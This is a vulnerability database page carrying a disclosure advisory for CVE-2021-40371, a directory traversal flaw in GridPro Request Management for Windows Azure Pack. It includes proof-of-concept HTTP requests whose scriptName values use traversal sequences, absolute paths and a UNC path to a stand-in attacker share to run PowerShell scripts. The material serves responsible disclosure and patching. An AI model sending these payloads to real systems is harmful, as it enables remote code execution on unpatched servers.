Lucene search
K

GridPro Request Management For Windows Azure Pack 2.0.7905 Directory Traversal Vulnerability

šŸ—“ļøĀ 26 Oct 2021Ā 00:00:00Reported byĀ Giulian GuranTypeĀ 
zdt
Ā zdt
šŸ”—Ā 0day.todayšŸ‘Ā 351Ā Views

GridPro Request Management For Windows Azure Pack 2.0.7905 Directory Traversal Vulnerability. Allows remote code execution through directory traversal attacks in HTTP requests executing PowerShell scripts

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-40371
25 Oct 202112:13
–circl
CNNVD
Microsoft Azure č·Æå¾„éåŽ†ę¼ę“ž
25 Oct 202100:00
–cnnvd
Check Point Advisories
Gridpro Request Management Remote Code Execution (CVE-2021-40371)
28 Nov 202100:00
–checkpoint_advisories
CVE
CVE-2021-40371
25 Oct 202106:33
–cve
Cvelist
CVE-2021-40371
25 Oct 202106:33
–cvelist
EUVD
EUVD-2021-27548
3 Oct 202520:07
–euvd
NVD
CVE-2021-40371
25 Oct 202107:15
–nvd
Packet Storm
GridPro Request Management For Windows Azure Pack 2.0.7905 Directory Traversal
25 Oct 202100:00
–packetstorm
Prion
Directory traversal
25 Oct 202107:15
–prion
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
 PRODUCT          : GridPro Request Management for Windows Azure Pack
 VENDOR           : GridPro Software
 SEVERITY         : Critical
 AFFECTED VERSION : <=2.0.7905
 IDENTIFIERS      : CVE-2021-40371
 PATCH VERSION    : 2.0.7912
 FOUND BY         : Giulian Guran, Certitude Lab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introduction
------------

"Windows Azure Pack delivers cloud capabilities to \[...\] on-premise
datacenter\[s\]. \[GridPro Request Management for Azure Pack\] add\[s\]
business processes, custom services, and customer support by integrating
Microsoft System Center Service Manager(TM) with Windows Azure Pack in a
unified cloud platform."

Source: https://www.gridprosoftware.com/products/requestmanagement/

Vulnerability Overview
----------------------

GridPro Request Management for Windows Azure Pack provides the ability to
execute PowerShell scripts. Through specific JSON parameters in HTTP requests
the plugin takes relative path locations as input to execute the desired
PowerShell scripts on the server. Through multiple techniques however, it is
possible to reach PowerShell scripts in other directories that may not be
intended to be executed by the application and can therefore lead to remote
code execution.

1.  Through directory traversal attacks (e.g. usage of one or more `..\`) it
    is possible to reach parent directories outside the original web directory
    and execute arbitrary local scripts the web server account has access to.
2.  Through fully qualified path names (e.g. `C:\Temp\script.ps1`) it is
    possible to execute arbitrary local scripts the web server account has
    access to, when the full path to the script is known.
3.  By using UNC paths (e.g. `\\attacker-server\share$\script.ps1`) it is
    possible to execute arbitrary PowerShell scripts from attacker-controlled
    remote network shares.

Proof of Concept
----------------

Typical HTTP requests that execute PowerShell scripts on the server may look
as follows. It is important to note that adding a second backslash is
necessary to properly escape the backslash character:

    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"Directory1\\Directory2\\OriginalScript.ps1",[...]

By default, this relative path lies under the configured web server directory.
The possible attack types to gain access to PowerShell scripts in other
directories or shares are described in the following sections.

### 1. Directory Traversal

Using a directory traversal, it is possible to e.g. execute a local script
`C:\Temp\script.ps1`:

    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"..\\..\\..\\..\\..\\..\\Temp\\script.ps1",[...]

An attacker can exploit this by writing or uploading arbitrary PowerShell
scripts to the server and guessing their storage location to gain remote code
execution or by abusing existing PowerShell scripts on the server.

### 2. Direct Access Using The Fully Qualified Path Name

Using the fully qualified path name, it is again possible to e.g. execute the
local script `C:\Temp\script.ps1`:

    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"C:\\Temp\\script.ps1",[...]

An attacker can exploit this by writing or uploading arbitrary PowerShell
scripts to the server and knowing their exact storage location to gain remote
code execution or by abusing existing PowerShell scripts on the server.

### 3. Execution Of Attacker-Controlled Scripts From Network Shares

Using UNC paths, it is possible to e.g. execute arbitrary scripts from
attacker-controlled network shares:

    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"\\\\attacker-server\\share$\\script.ps1",[...]

An attacker can exploit this by preparing arbitrary PowerShell scripts on an
attacker-controlled network share and get them executed on the target server
to gain remote code execution.

Resolution
----------

GridPro fixed this vulnerability in GridPro Request Management for Windows
Azure Pack version 2.0.7912 and later.

Timeline
--------

  ---------------------------------------------------------------------------
  Date         Text
  ------------ --------------------------------------------------------------
  2021-08-04   Sending vulnerability description and proof of concept to the
               vendor

  2021-08-17   GridPro team confirms issue being reproduced, fixed and
               validated on their side

  2021-08-18   GridPro team confirms a customer having installed the fix

  2021-08-19   Coordination with vendor

  2021-08-20   Coordination with vendor

  2021-08-25   Coordination with vendor

  2021-08-31   Coordination with vendor

  2021-09-06   Vendor releases patch

  2021-10-19   Coordination with vendor

  2021-10-20   Public release of the advisory
  ---------------------------------------------------------------------------

Data

Build on a solid foundation withĀ Vulners data

WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data

Api

Power your application withĀ Vulners API

The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access

App

Assess and manage vulnerabilities withĀ VulnersĀ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation